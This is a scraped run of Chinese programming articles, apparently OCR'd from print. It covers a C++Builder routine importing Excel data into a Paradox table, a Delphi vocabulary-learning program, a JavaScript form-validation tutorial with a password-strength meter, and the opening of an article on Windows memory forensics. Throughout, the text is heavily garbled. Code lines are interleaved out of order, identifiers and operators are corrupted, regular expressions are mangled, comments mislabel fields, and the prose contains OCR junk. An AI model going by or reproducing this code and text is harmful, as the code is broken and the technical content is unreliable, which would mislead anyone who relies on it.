性別、入學年月、所在班級、家庭住址、聯系電話。第一行為 列標題,從第二行起則為對應的數據內容。 實現代碼如下: void ImportData 0 { Value。): TOpenDialog+OpenDialogl=new T0penDiaIog(this): ,/冊J除列標題中的李格 if(OpenDialogl->Execute()) int pos; { int i: //讀取注冊表,判斷系統是否安裝Excel for(._0:i<6:I++) TRegistry。Reg=new TRegistryO; { Reg一>RootKey=HKEY—CLASSES—ROOT;pos=Str[i].Pos(。‘): if(Reg一>OpenKey(%Excel.Sheet\\CurVer',false))//注冊 while(pos>O) /,表項存在 { l Str[i].Delete(pos,1): delete Reg;pos=Str[i].Pos(一): } } else } f //Paradox數據表寧段名稱 MessageDIg《。Excel未安裝,無法啟動!。,mtError. AnsiString TitleStr[7]; TMsgDIgButtonsO<<mbOK.0):TitleStr[O]=。學號。: delete Reg;TitleStr[1】-。姓名。: return;TitleStr[2]=。性別‘: }TitleStr[3]=。入學年月。; Variant Ex,Wb.Sh;TitleStr[4]=。所在班級。: try TitleStr[5]=。家庭住址。: I TitleStr[6]=。聯系電話。: Ex=Variant::CreateObject(’Excel.Application。)://判斷表格文件字段是否符合要求 ) ._0: catch(…) bool IsMatch=true; { while(i<7) MessageDIg(。無法打開Excel!。.mtError,TMsgDIg {#p#分頁標題#e# Buttons()<<mbOK.O): if(Str【il==T.t|eStr【il) l i++: //啟動Excel應用程序f臣不顯示 else Ex.OlePropertySet(。Visible',false); { 冊丁開指定的文件 if(i==1) Ex.OlePropertyGet('WorkBooks。).OleFunction(。Open。, i++: 0penDialogl—->FileName.c_strO); else Wb=Ex.OlePropertyGet(。ActiveWorkBook。): { Sh=Wb.OlePropertyGet(。ActiveSheet。): IsMatch=false; //讀取表格第一行前7個單元格內容,用于判斷表格文 MessageDlg I。文件格式不匹配!。,mtError, //件格式是否正確TMsgDIgButtonsO<<mbOK.O): AnsiString Str[7]; break; Str[O]=Sh.OlePropertyGet(。Cells。。1,1).OlePropertyGet(。 l Value。): l Str[1】=Sh.OlePropertyGet(。Cells',1.2).OlePropertyGet(。 l Value。): if(IsMatch)//如果文件格式匹配,則導入數據 Str[2]=Sh.OlePropertyGet(‘Cells',1,3).OlePropertyGet(。 { Value‘):TOuery+Queryl=newTQuery(this); Str[3]=Sh.OlePropertyGet(。Cells',1.4).OlePropertyGet(。 //RequestLive屬性用于確定是否希望從查詢指令中 Value。): Value。): Value。): Str[4]=Sh.OlePropertyGet(。Cells',1.5).OlePropertyGet(。 Str[5]=Sh.OlePropertyGet(。Cells',1.6).OlePropertyGet(。 Str[6]=Sh.OlePropertyGet(。Cells",1.7).OlePropertyGet(‘ ,/獲取可讀可寫的查詢結果, ,/缺省設置為假,表示查詢結果只讀。如果要使記錄 ,,能夠編輯,需要設置該屬性為真。 ,,這里,要寫入數據,故設罱為真。 Queryl一>RequestLive=true: Queryl一>DatabaseName=。D:W: Ouewl..>Close(); Queryl一>SQL一>Clear(); Quell一>SQL一>Add(。select’from studentinfo.db。): Queryl一>Open(): int RowCount; /,返同ExceI工作表的行數 RowCount=Sh.OlePropertyGet(。UsedRange。) OlePropenyGet(。Rows。). OlePropertyGet(。Count。): AnsiString InputStr[7];//當前導入信息 AnsiString FilterString;//篩選條件 int RecCount; int AddCount=0;,/添加記錄數量 for(int j=O;j<RowCount一1:j++) { ,/讀取學號 InputStr【0】=Sh.OlePropertyGet(‘Cells。,j+2,1) OlePropertyGet(“Value。): 刪且織篩選條件字符串 FilterString=Queryl->Fields->Fields 10】一> FieldName+。=。+StrToInt(InputStr[0]); Queryl->Filtered=false; Quell->Filter=FilterString; Quell一>Filtered=true: II半JJ斷記錄是否存在 RecCount=Queryl..>RecordCount; ifIRecCount==0)//不存在 { Queryl—->Close(); Queryl一>SQL一>Clear(); Queryl一>SQL一>Add (。select + from studentinfo.db。): Queryl一>OpenI): /廠讀取姓名 lnputStr 11 1=Sh.OleProperb/rGet OlePropertyGet('Value。): ,/讀取性別 InputStr【2】=Sh.OlePropertyGet OlePropertyGet(。Value。): //讀取性別 InputStr 13】=Sh.OlePropertyGet OlePropertyGet(。Value。): ,/i賣取性別 InputStr【4l=Sh.OlePropertyGet OlePropertyGet(。Value。): ∥讀取性別 InputStr f5J5=Sh.OlePropertyrGet i曼/盎囂與簟耥 《。Cells‘,j+2,2). (。Cells。,j+2,3) (。Cells。,j+2.4) (。Cells。,j+2,5) (。Cells。.j+2,6) 密集 OlePropertyGet(。Value。J: //i賣取性別 InputStr 16】=Sh.OlePropertyGet(。Cells。,j+2,7) OlePropertyGet(。Value。): ,,在數據表最后添加一個空記錄 Quell->Append(); ∥將數據賦給數據記錄各字段 Queryl一>Fields一>Fields[0]一>V8Iue=InputStr【O】: Quell一>Fields一>Fields[1】一>VaIue=InputStr【1 l: Quell一>Fields一>Fields[2]一>VaIue=InputStr【2l: Queryl一>FieIds一>FieIds【3卜.>Value=lnputStr[3]; Queryl一>FieIds一>FieIdsf4】一>VaIue=InputStr【4J: Queryl->Fields一>Fields[5]一>VaIue=InputStr【5】: Queryl一>FieIds一>FieIdsf6】一>Value=InputStr【6】: //提交修改 Queryl一>Postl): IlgWu的記錄數加1 AddCount++; l Queryl->Filtered=faIse; } delete OpenDialogl: delete Queryl: AnsiString Msg=。共添加。+IntToStr(AddCount)+。條記錄!‘:#p#分頁標題#e# MessageDIg(Msg.c_str0,mtInformatIon,TMsgDIgBuRons 0<<mbOK.O): ) ,/退出EXCEL Ex.OleFunction(。Quit'); //釋放對象 Ex=Unassigned: } } 4結語 利用C++Builder,實現了Microsoft Excel與Paradox數據 表的結合使用,充分發揮二者特點,達到了優勢互補,有效減 少了工作量,切實提高r數據處理效率。上述代碼已在 Windows XP SP3和C++Builder 6.0環境下調試通過。 c++Builder由Excel數據導入Paradox表的實現pdf下載 http://www.ionrce.tw/uploads/allimg/120510/1-120510223342647-lp.jpg Builder,c++,Paradox表,Excel數據 各類編程 admin 未知 2012-05-10 22:27 基于Delphi的英語詞匯強力記憶軟件制作 http://www.ionrce.tw/biancheng/20120509912.html 摘 要:利用Delphi高效開發環境,借助艾賓浩斯記憶曲線,設計和實現了一款英語詞匯強化學 習軟件,適合參加考試的各類人員,如大學英語四、六級考試、考研和考博英語,幫助廣大 摘 要:利用Delphi高效開發環境,借助艾賓浩斯記憶曲線,設計和實現了一款英語詞匯強化學 習軟件,適合參加考試的各類人員,如大學英語四、六級考試、考研和考博英語,幫助廣大應試 者在短期內提高考試成績。系統采用開放式便捷數據庫設計,方便各類人員根據需要選擇和建造 自身的數據庫,提高了系統的適用范圍。 關鍵詞:Delphi;英語詞匯;記憶曲線;單詞記憶;英語考試 1 問題描述 隨著信息時代的到來.英語越來越受到人們的重視,甚至 成為衡量21世紀人才的一個極其重要的因素。各類英語考試 層出不窮,除了托福、雅思、大學英語四六級、專業英語分級 考試以外,還有競爭激烈的各類入學考試,高考、考研以及考 博,無不涉及到英語考試和考核。 在各類英語考試中.詞匯占了相當大的比例,也是衡量一 個人英語水平的一個重要因素,而詞匯的學習通常卻是一件費 力而收效甚微的工作。利用計算機技術、結合人類遺忘曲線. 分析和設計了一款特別適合考試的英語詞匯記憶軟件,考慮到 不同應試者的不同英語水平,系統采用開放式系統架構,任何 用戶均可借助常用的辦公軟件開發適合自身的考試詞庫。滿足 個性化的考試學習任務。 2軟件設計 2.1 詞庫的組織 考慮到系統的擴展性,詞匯存儲采用通用的電子表格形式,音 標采用金山音標字體Kingsofi Phonetic Plain來顯示,如表1所示。 表1詞;r表文件(Excel)結構 2.2學習環境及狀態記錄 為了適應不同應試者的詞匯需求,系統設計時,采用INI 文件記錄系統重要配置信息.包括用戶當前所使用的詞匯文件 (Excel格式),借此,學習者可自行建立適應自己程度的詞匯 文件,方法是將自己的詞匯導入相應的電子表格,并在配置文 件中做相應的修改,如表2所示。 2.3單詞發音 計算機語音常見有兩種形式:’rIs和真人發音,由于真人 發音語音文件太大,不便于學習者的攜帶和學習.因此軟件設 計中采用,IrrS發音。 著名的邢發音是微軟的’邢軟件包.但該軟件包有一個 致命的缺點,就是發音效果發硬,沒有語調,聽起來像機器人 在說話。為了彌補m發音的不足,在軟件中采用近似真人發 聲的’I髑(NeoSpeech),學習者可自行從網絡下載相關的軟件 包.從而提高軟件語音的質量。 2.4學習策略與學習過程 為了在考試前較短的時間內,幫助應試者迅速掌握大量詞 匯。學習策略包括自動瀏覽學習和手工點擊學習兩種。 (1)自動瀏覽學習,點擊自動瀏覽圖標,系統進入自動 瀏覽學習模式,學習者可根據需要調整單詞顯示的時間間隔, 默認為4秒,如果選擇了中文緩出,則中文意思的顯示會滯后 1,2的時間顯示。該學習模式的主要功能是: 1)單詞分級。 2)快速復習與記憶。 3)單詞意思回憶。 在學習過程中對于每一個單詞可以指定一個熟悉程度: 0~2,分別代表不認識、認識和熟悉,對于熟悉的單詞一個 月學習一次。對于認識的單詞一個星期學習一次,對于不 認識的每日須學習一次。利用分級功能還可使學習者將主要 精力集中在不認識的單詞上.避免在認識的詞上花費太多 的精力。 (2)手工點擊學習主要為學習者提供某一級單詞的強化 學習.學習速度和過程完全由學習者自行控制:系統提供 上、下翻頁功能,便于學習者對最近學習過相似詞匯進行類 比記憶。 學習策略建議:首先進行自動瀏覽學習,在學習的過程中 進行單詞的分級,然后有針對性地進行重點學習,可采用兩種 模式中任何一種。 3軟件核心算法及其實現 3.1 在Delphi中訪問ExceI 軟件中不僅需要對單詞進行遍歷,而且要設置相應的級 別(熟悉度),也就是說,對存放單詞的電子表格進行讀寫操 作。因此,軟件中采用ADO數據庫技術來訪問Excel文件, 將Excel中每一個Sheet看作是一個數據表。并且在軟件啟動 時連接Excel數據文件。具體實現代碼如下:#p#分頁標題#e# //斷開數據庫連接 ADOConnectionl.Close; ∥設置單詞文件訪問路徑 3.2 Delphi中TTS檢測和使用 利用SPAPI中的特別函數可以獲取當前系統中所安裝的 TrS及其對象,根據這些對象就可以訪問相應的1TS了,具體 代碼如下: (1)TrS的檢測 (2)TTS的設置 將當前l礴瓣置到svReadWord對象 (3)TTS發音 //TTS發音方法 3.3單詞的瀏覽 單詞瀏覽分為:自動瀏覽和手工點擊瀏覽。 UpdateBtns; end; ∥后一個單詞的點擊事件 procedure TfrmWordRecite sbtnNextClick(Sender:TObjecn); Begin ,,如果不是最后一個單詞。則移動到下一個 訐ADOQueryl RecNo<ADOQueryI RecordCount then ADOQueryl.Next; ∥更新界面元素 UpdateBtns; ∥如果選中發音.則發音 if cbxRead.Checked then svReedWord Speak《dbtxtWord.Field.AsString.SVSFD ault); nd; 3.4環境與狀態保存 將當前用戶所做的選擇保存在配置文件.以方便下次使 用。具體代碼如下: procedure TfrmWordRecite SaveCurCfg(Idx:Integer=-1): var Cfglni:TlniFile; Begin ,,打開系統配置文件 Cfglni:=TIniFile Create(CfgFileName); ,,保存詞匯表信息 Cfglni,WriteString(’當前學習信息’,’目前教材’.’基礎詞匯 ’): Cfglni WriteString(7當前學習信息’.’數據文件’,Fundmen- taIFile); Cfglni.WriteString(’當前學習信息’,’數據表’.’(VOCABU— LARY FUNDAMENTAL>7): ∥保存課程信息 汗rbtnByWordNum.Checked then Cfglni WriteInteger(7當前學習信息’.’課程分組7.01 else Cfglni.WriteInteger(’當前學習信息‘.‘課程分組’,1 J: CfglniWdteInteger I’當前學習信息’.’平均詞數’.sedt- SpecifyWordCnt.Value); ,,保存當前設置信息 CfgIniWriteBool{7當前學習信息?’是否朗讀’,cbxRead Checked); ifIdx>=0then Cfglni.WriteInteger(’當前學習信息’.’當前語音’.Idx); CfgIniWriteInteger(’當前學習信息’.’停留時間’,sedt- ShowTime.Value); CfglniWriteBool(’當前學習信息’,。顯示單詞’, cbxShowEng Checked); CfgIniWriteBool(’當前學習信息:’顯示音標’. cbxShowSym Checked); CfgIni。WriteBool{’當前學習信息’,’顯示中文’, cbxShowChn Checked); CfgIniWriteBool(7當前學習信息’,’中文緩出’,cbxAp- pearChn.Checked); CfgIni.WriteBool C’當前學習信息‘,’顯示詞匯列表’.cbx- HideList.Checked); ,,保存當前學習進度 CfgIni.WriteInteger(’當前學習信息’.’上次學習進度’,Cur- RecNo); end; 4系統運行效果 英語詞匯在各類英語考試中占著極其重要的地位.而詞匯 學習卻是一個極其慢長和費力的事情,本文借助Delphi高效開 發環境.設計并實現了一款快速應試詞匯記憶軟件,特別適合 大學四、六級、研究生入學考試、博士生入學考試及各類留學 英語考試人員快速掌握詞匯.提高考試成績。運行效果如圖I 所示。 http://www.ionrce.tw/uploads/allimg/120509/1-120509215419B2-lp.jpg Delphi,強力記憶軟件 各類編程 admin 未知 2012-05-09 21:52 JavaScript應用開發客戶端完整表單驗證程序 http://www.ionrce.tw/wangzhanbiancheng/20120508911.html 摘要:通過實例對表單驗證程序進行詳細講解,實例中基本包括了用戶在填寫表單時需要驗證 的信息,每部分功能使用函數來完成,這讓初學者能夠很容易接受并且理解語句段的含義, 摘要:通過實例對表單驗證程序進行詳細講解,實例中基本包括了用戶在填寫表單時需要驗證 的信息,每部分功能使用函數來完成,這讓初學者能夠很容易接受并且理解語句段的含義,快速 地掌握Javasc邱t這門語言。 關鍵詞:JavaScript;編程:表單驗證 經過了上一講JavaScript基礎知識、對象等內容的學習, 讀者對JavaScript的已經有了一些了解.在后續的講解中,主 要針對實例進行分析.本講的JavaScript開發客戶端完整表單 驗證程序在程序設計中就是一項很重要的內容.而且表單驗證 也一直是很多編程愛好者很頭疼的問題之一.表單驗證程序的 好壞直接決定了數據庫中保存數據的規范程度.所以程序員們 需要認真對用戶所填寫的每一項進行認真的過濾.而 JavaScript可以實現這部分功能。下面介紹表單驗證程序的設 計方法。 1 主要功能 表單驗證對于任何一個編程者都不陌生.此類程序主要應 用在用戶注冊、信息采集、網絡報名等程序流程中.對于表單 嚴整不嚴格的程序會給后期數據加工、數據處理工作帶來很大 的麻煩,所以在做表單驗證程序的時候,需要盡量詳細地考慮 存在的相關問題。 常用的表單驗證主要包括是否填寫信息、填寫信息是否規 范、密碼強度判斷、兩次密碼輸入是否一致、中英文數字的處 理判斷、出生日期格式判斷、電子郵箱的驗證、留言信息長度 限定等功能,最后在提交表單時出現是否確認提交的提示,提 交成功后出現提示框。 密碼已經是人們生活工作中必不可少的工具.但一個不安 全的密碼有又有可能會給人們造成不必要的損失。作為設計 者。如果在網頁中能對用戶輸入的密碼進行安全評估.并顯示 出相應的提示信息,那么對用戶設置一個安全的密碼將有很大 幫助。評估方式: (1)如果密碼少于5位,那么就認為這是一個弱密碼。 (2)如果密碼只由數字、小寫字母、大寫字母或其他特殊 符號當中的一種組成,則認為這是一個弱密碼。 (3)如果密碼由數字、小寫字母、大寫字母或其他特殊符 號當中的兩種組成,則認為這是一個中度安全的密碼。 (4)如果密碼由數字、小寫字母、大寫字母或其他特殊符 號當中的3種以上組成.則認為這是一個比較安全的密碼。 出生El期在數據庫中存儲是有一定格式要求的.如果不是 規范存儲則填寫的日期將無法進行處理、分析。所以出生日期 需要用標準的“xxxx—xx—xx(年一月一日)這種方式進行填寫。 電子郵箱的填寫能否收集用戶聯系方式.這就需要用戶按 照規范填寫,填寫時要按照電子郵箱的填寫標準進行填寫,一 般電子郵箱的格式為username@jybase.net、username@**.com.cn 等,這樣就可以按照規范進行判斷。 下面對驗證的主要功能進行詳細分析: (1)驗證用戶名是否填寫,并且填寫是否規范,用戶名需 要是A—Za—zO一9一。 (2)密碼和確認密碼是否一致。 (3)密碼強度的評估。 (4)檢測是否為中文。 (5)檢測姓名拼音是否都為字母。 (6)日期的格式檢測。 (7)電子郵件的格式檢測。 (8)手機號碼應該全部為數字。 (9)填寫留言信息字數限制以及現有字符數顯示。 (10)提交表單后出現的確認對話框提示。 此程序在開發過程中存在的難點問題: (1)密碼強度的評估,弱、中、強的判斷與檢測。 (2)利用正則表達式來對用戶輸入信息進行驗證。 2代碼詳解 程序主要由若干部分組成.可以把每一部分功能都定義 為一個函數模塊,下面分別介紹詳細程序代碼,如圖1,圖2 所示。 2.1 用戶標識判斷 if(forml.name.vaIue==0)//判斷輸入的用戶標識是否為空 { alert(“請您輸走用戶標識I¨): forml name.focus(); //獲取焦點 } 主要利用fermi.name.value獲取所填寫的內容,判斷內容 是否為空,如果為空則出現相應提示.并且利用forml.hamefo— CUS 0;獲取當前焦點。 var reg=/['A-Za—z0-9_)/g; //輸人正則表達式限制條件#p#分頁標題#e# if(reg.test(forml.name.value)) //檢測條件 ( alert(。您輸入的合法的用戶標識!‘): forml.name focus(); return (false); ) 利用正則表達式的知識來對條件進行限制,用戶標識需要 是字母或者是數字。JavaScript中的ResExp對象用于正則表達 式相關的操作,這個對象提供了一個方法test來判定某個字符 串是否滿足某個表達式.返回值是true/false。 2.2用戶密碼、確認密碼 ififorml.pwd value!=rerml.pwdok value) //比較兩次輸 ∥入密碼是否相同 { alert(‘兩次密碼不相同!。): forml pwdok,focus(); //獲取焦點 forml pwdok.select{); ∥選中當前密碼 return(false); J 判斷兩次密碼輸人是否一致,如果不一致則出現錯誤提 示。并且利用forml.pwdokfocus 0:獲取當前焦點,forml.pw. dok.select 0;選中當前不相同密碼。 2.3中文姓名 var re90=/'[4E00—、u9FA5]+鼽 ∥輸入,T貝iJ表達式限制 ∥條件,判斷是否為漢字的條件 喇I regO.test(forml.usernarne.value))f,,檢測是否有中文 alert(。請您輸人中文姓名!‘}: forml.username.focus(); //獲取焦點 return(false); l 判斷輸人的字符是否為中文.在正則表達式中\u4E00一 \u9FA5(unicode碼)中表示漢字.m妒test對輸人的字符串進 行檢測。如果輸入的不是中文.則出現相應提示信息。 2.4姓名拼音 for(var J=0;i<forml ename value length;i++) ∥利用Javascript建立循環.根據 ∥長度來判斷輸人的是否為英文 { var C=forml ename value charAt(i);//獲取每一個字符 ifcIc<.a。IIc>一Z}&&(c<.A。IIc>一Z)) //判斷它是否是英文 ∥大寫或小寫的字符 { alert(。請您輸人姓名拼音,開頭字母用大寫,不需要空格f‘): forml ename focus(); return(false); ) } 此部分對拼音進行判斷,利用for循環字符串的遍歷出所 有輸入字符,然后利用forml.ename.value.eharAt fil獲取每一 個字符。進行字母的判斷,如果不是大寫或小寫字母.則會出 現錯誤提示。此部分判斷也可以利用正則表達式來校驗.讀者 可以根據相關知識認真思考一下。 2.5出生日期 var matchArray=forml birthday value.match(廠(1—2]10—9)10— 9110—9)一(0—1)IO一9)一10—3)(O一91$/l: ,,定義日期格式,利用正則表達式 if(matehArray==null){ alert(‘您輸人的日期有錯誤’): forml.birthday focus(); return(faIse); ) 利用正則表達式來列出日期的條件,2009—12—30為標準 格式,不符合此格式就會出現錯誤提示。Str.match(r嘲表示 規定要匹配的模式的RegExp對象,若沒有找到任何匹配的子 串,Ⅲ4返回null。 2.6電子郵件 if(forml.email value search價w+{(一\W+I|¨w+))’、@lA—Za— z0—9J+{^』一IfA—za—zO一91+)*k/O A—Za—zO一9)+$/}一1),,定義電子郵件格式.利用正則表達式 { alert(。您輸入的電子郵件有誤I‘): forml email.focus(); return(faIse); ' 利用正則表達式來列出電子郵件的條件,在上一部分內容 中詳細分析了電子郵件的基本格式.usemanle@**.com和 usemame@***com.cn兩種標準格式,不符合此格式就會出現 錯誤提示。Str.search(mg)方法用于檢索字符串中指定的子 字符串.或檢索與正則表達式相匹配的子字符串。如果沒有找 到任何匹配的子串,則返回一l,在此實例中一l表示輸入的電 子郵件格式有誤,不符合正則表達式的規范。 2.7手機號碼 if(isNaN(forml.tel.value)){ ∥判斷輸入的手機號是否為 ,臌字格式 alert(’請您輸入正確的手機號碼(數字格式)l。}: forml.tel focus(); return(faIse); } 手機號碼的驗證主要是判斷它是否為數字.如果輸入漢字 或者字符則輸人錯誤,此部分利用isNaN來判斷當前輸入的是 否為數宇.isNaN表示返回一個Boolean值,指明提供的值是 否是保留值Nan(不是數字)。 2.8留言信息 if{forml.1iuyan value length>40) ∥判斷字符輸人長度#p#分頁標題#e# { ’ ale時不能超過40個字符l‘l forml.1iuyan focus(); forml.1iuyan select(); retum(faIse); ,,獲取焦點 ,,選中當前字符 } 留言信息主要判斷輸入字符的長度,如果超過柏個字符 出現錯誤提示。程序利用fermi.1iuyan.value.1engtII來獲取當前 長度來判斷是否超出范圍。如果超出范圍則出現alert錯誤提 示.并且利用forml.1iuyan.focus 0;獲取焦點,同時利用forint. Iiuyan.select 0:選中當前字符.如圖3所示。 2.9信息提交判斷 errstr=‘請仔細檢查您填寫的是否有誤,確定要提交嗎? Ⅵ們f確定1——立刻提交ⅥI取消】——重新檢查填寫是否有誤 kn。: if(confirm(errstr))H出現詢問對話框 {alert(‘您已經成功提交1謝謝使用‘} forml reset(); //重置表單所有信息 return(true);) else {return(false);) 此部分代碼主要使用confirm方法,confirm是Windows中 的一個方法。它可以彈出一個包含“確定”與“取消”的對話 框.如果用戶按下了確定,返回tnle;如果按下了取消,返回 false。forml.reset 0;表示重置表單中的所有信息,程序ee/n 的含義表示在JavaScript中的回車.如圖4所示。 2.10計算字符 function showlen(obj) { . forml.contentlen.value=obj.value.1ength;H截取當前字符數 } <textarea name=。liuyan。cols=。50‘rows=。6。onkeydown=’ showlen(this)。onkeyup=。showlen(this)。></textarea>當前字 符數<input type=text name=contentlen value=O size=2 style=。border—width:O;background:transparent;’’ 在留言信息中可以計算當前字符的數量,onkeydown和 onkeyup是鍵盤的兩個事件,通過onkeydown=”showlen(this)” 和onkeyup=”showlen(this)”這兩個事件詞用showhn 0函數. 表示每輸入一個字符都會有當前的數值變化,利用forml.con— tentlen.vahe=obj.value.1e“gt}-;把當前的字符顯示到contenflen文 本框中。 style=”border-width:0;background:transparent;”表示隱藏文 本框的邊框。 2.11 密碼強度 密碼強度判斷主要是通過以下4個函數構成,分別是 CharMode 0,bitTotal 0,checkStrong 0,pwStrength 0. 2 11.1 CharMode函數 ∥測試某個字符是屬于哪一類 function Charstdng(iN){ if(in>=48&&in<=57) //數字 return 1: 計lin>=65&&in<=90l //大寫字母 return 2: if lin>=97&&in<=122)H小寫字母 return 4: etse return 8: //特殊字符 } CharMode 0主要是測試輸入的每一個字符都是哪一類. 主要分為4類.數字、大寫、小寫和特殊字符。 2.1 1.2 modetotal函數 ,,計算出當前密碼當中一共有多少種模式 functjon modetotal(num){ modes=O; for(i。0:i<4:i++){ //循環 |;f{num&1) ∥邏輯位的與,需要轉換為二進制碼按位進 ∥行操作 modes++; num>>>=1; ,,移位操作 } return modes; } Modetotal函數計算出當前密碼一共有多少種模式,此部 分使用了不太常用的移位操作符>>>,它是一種“無符號” 右移位操作符(>>>),它使用了“零擴展”:無論正負,都在 高位插入0。移位可與等號(>>>=)組合使用時,操作符左 邊的值會移動由右邊的值指定的位數,再將得到的結果賦回 左邊的變量。 2.11.3 checkpwd函數 ∥返回密碼的強度級別 撕I_;:I烈ion checkpwd(spwd){ i_l=}(spwdJength<=4) ∥判斷密硝位數 returnj。: ∥密碼太短 Modes=O; f西《陪o;i<spwd.1ength;i++}{ //循環出當前密碼 Modesl=Charstring(spwd.charCodeAt(i”≯//選換出當前 ∥密碼歸屬類剔,按位或 ) return mocI{;etotal(Modes); 卜 Checkpwd函數是返回密碼的強度級別,主要分為4個級 別0,1,2和3以上,主要利用循環方式把當前輸入的密碼進#p#分頁標題#e# 行按位或的運算,分別會得出0,1,2和3以上。 2.1 1.4 pwdstrong函數 擴當用聲放開鍵盤或密碼輸入框失去焦點時,根據不同的級別顯 移示不閹的顏色 function pwdstrong(pwd){ j O童color=#cccccc,; ,,初始化背景顏色 L_color='锫衙約01≯ //初始化弱的背景 MooIof;’搏QD珊flI;: ,/初始化中的背景 H_color='#FF0000。: //初始化強的背爨 ifi(pwd≤=nutl№wd蕁=7餓 ∥判斷密碼是否為空 j Lcolor=Mcotor=HcoIor=Octolor; II如果為空初,始化 ∥相同顏色 } else{ S—level=checkpwd(pwd); //判斷密碼強度級別 switch(S~level){ case 0: Lcolor=Mcolor=Hcolor=O—color;//顏色一樣 case 1: Lcolor=L_color; //級別最低弱 MCOIOr=HcoIor=O—coIor: break: case 2: LcoIor=Mcolor=M_color; //級別為中級 Hcolor=0一color; break: default: Lcolor=Mcotor=Hcolor=H_color; ,,級別為高級 ) } document.getEIementById(”pwd—L‘》:style.background=Lcolor; //給定相應級刖背景顴色(弱) document.getEIementByld(。pwd_M“).style.background。Mcol‘ or;//給定相應級別膂爨顏色{中F document.getElementByld("pwd_H。).style.background=Hcol· or涮給定相應級別背景顏色《強弘 pwdstrong函數是當用戶放開鍵盤或密碼輸入框失去焦點 時。根據不同的級別顯示不同的顏色。 通過以上JavaScript版表單驗證程序的學習,基本可以使 用學習過的知識進行實例的操作.此表單驗證基本囊括了目前 收集客戶信息時需要驗證的內容,在以上程序講解中,讀者可 能會注意到正則表達式這個概念經常出現,在JavaScnpt的表 單驗證中起了很重要的作用,目前關于正則表達式出版了很多 相關的書籍提供參考,書中對驗證的介紹更加詳細(包括一些 復雜驗證),此程序的介紹意在拋磚引玉,使更多的初學者入 門,并深入學習。 3結語 以上代碼是在Intemet Explore6.0、Intemet Explore7.0中 測試通過,實例截圖為Internet Explore6.0中運行效果。此表 單驗證比較簡單.此程序的學習對于初學者來說有很大的幫 助,該實例長期作為JavaScfipt這門課程的一個典型實例為學 生進行講授.在一些報名系統中表單驗證程序均使用此代碼, 所以此實例的學習對于今后想深入學習JavaScnpt這門語言的 讀者有一定促進作用。 http://www.ionrce.tw/uploads/allimg/120508/1-12050R21QHB-lp.jpg JavaScript,表單驗證,應用開發 網站編程 admin 未知 2012-05-08 22:15 物理內存取證之文件與緩存分析 http://www.ionrce.tw/biancheng/20120506907.html 內存分析的兩個主要對象即內核內存與用戶級內存。在windows環境下,內核內存主要 包含設備驅動程序、NT操作系統可執行程序以及硬件抽象層模塊。大多數用戶級內存則主 要包含單個 內存分析的兩個主要對象即內核內存與用戶級內存。在windows環境下,內核內存主要 包含設備驅動程序、NT操作系統可執行程序以及硬件抽象層模塊。大多數用戶級內存則主 要包含單個進程、進程地址空間中的文件(從磁盤空間加載到用戶內存空間的代碼、數據, 如可執行文件exes以及動態鏈接庫dlls)。內核內存中的大部分虛擬地址空間均獨立于某 特定的進程上下文,為全局地址,而其它虛擬地址空間則與某個特定進程相關。對內存進行 提取分析時,還是存在很多饒有興趣的事。本文將重點分析單個進程地址空間上下文的用戶 級內存。通常情況下,攻擊者主要針對的是victim的用戶級內存,因為相對內核內存而言, 在用戶級內存空間下更容易寫入或獲取到代碼等內容。 盡管在用戶級內存及進程重構的內存取證領域已經取得了一定的成就,但它們仍然有一 定的改善空間。以前開發的取證工具主要集中在單個進程地址空間下的虛擬地址描述符 (VADs)或虛擬內存區,而忽視了其它一些豐富的資源如內存映像文件。這些工具使用虛擬 地址描述符VAD有限的信息從內存中萃取文件,顯然生成的文件必然不能準確地反映出先前 其存在磁盤上的完整內容。再次,操作系統輸入輸出的緩存cache也被大范圍忽視了。本文 將介紹一些方法從內存中更準確地獲取信息并萃取完整文件內容。 現有的物理內存取證技術 Volatility和Memoryze是當前使用最為廣泛的兩款內存取證工具,均分別提供了一些 具體命令以分析單個進程的具體內容。Volatility工具的命令包括vaddump, dlldump, procmemdump, procexedump*memdump.后者則使用?『0068800命令。下面將對照命令以分 析評價進程重構的狀態。 大多數內存取證工具,包含Volatility和MemoryZe都在使用VAD樹遍歷技術來查找加載 到內存中的數據信息。4Windows*,進程由一個MMvad結構描述,此結構里包含一個域 MM_AVL_TABLEVadRoot,即進程乂仙的入口。內存管理器通過遍歷乂汕樹以確定每個進程所占 用的虛擬地址空間。這些結構體都可在內存中獲取到,進而可確定每個運行進程所包含的信 息。乂仙組成了一個沿^自平衡二叉樹,樹中的每一個節點代表了一段虛擬地址空間。例如程 序的代碼段,數據段,堆段會各種占用一個或多個7仙節點,由一個》仙結構完整描述。從 0x0000000到0x7ffffff,總要有個數據結構描述程序的各個段對應哪段地址空間,vad則充 當了此角色。對乂仙感興趣的讀者,可參考《TheVADtree:Aprocess-eyeviewofphysical memory》•以下是這些命令的細微差別: (1) Memoryze工具無法獲取到進程虛擬地址空間的首個MB,即(0x00000000 -0x000fffff); (2) Vaddump命令無法對已命名的內存區進行重命名; (3) Memoryze工具使用Nops即0x90替換不在進程地址空間的頁,而vaddump使用0x0. (4 ) vaddump命令不會分析已命名或者大小為0的區域; dlldump命令分析易揮發的內存區,得出的部分分析結果與process命令相似。然而, 兩個工具使用的取證分析方法卻完全不一致。dlldump命令遍歷進程eprocess塊指向的已加 載模塊dlls鏈表,而processDD則是通過獲取dll名來遍歷vad樹。已加載模塊dlls8鏈表在用 戶級內存,故可被攻擊者修改,dlldump命令可獲取到部分從鏈表中卸載的dll模塊物理基地 址,并提供給用戶。但是這些需要攻擊者有很高的技能,在vads存放的內核區域執行它的惡 意代碼。dllldump通過解析pe文件格式,可確定dll文件大小;而Memoryze工具的ProcessDD 命令則利用了vad結構中的頁對齊大小。既然dlldump使用pe文件頭信息可確定每個段大小, 它就能準確地表述文件是如何映射到磁盤上的。同樣process命令則將數據視為windows加載器保存在內存中。然而,這兩個工具雖然都能夠準確返回真實的物理內容,卻均忽視了頁對齊問題。 傳統內存取證方法 盡管以前的內存取證和進程重構方法取得了一定的成績,但仍然有很大的提升空間。傳 統的取證方式對跨內存區對虛擬地址進行翻譯,卻忽視了町1«1(^8系統的典型文件結構 FileObjects.盡管?乜6015知(^對象不會出現再所有的內存區,但至少他們會作為內存映射 文件如0匕8和£乂£8方式出現。很顯然,0匕8和£乂£8是取證調查中的重點對象,但傳統方法卻 忽視了這部分地址空間的分析;還有歸屬問題,當一個工具對進程內存區每個地址進行暴力 搜索時,它必然會當作此進程內核頁的一個屬性部分而被搜索,當事實上它并不屬于此進程。 (1)被忽視的數據#p#分頁標題#e# 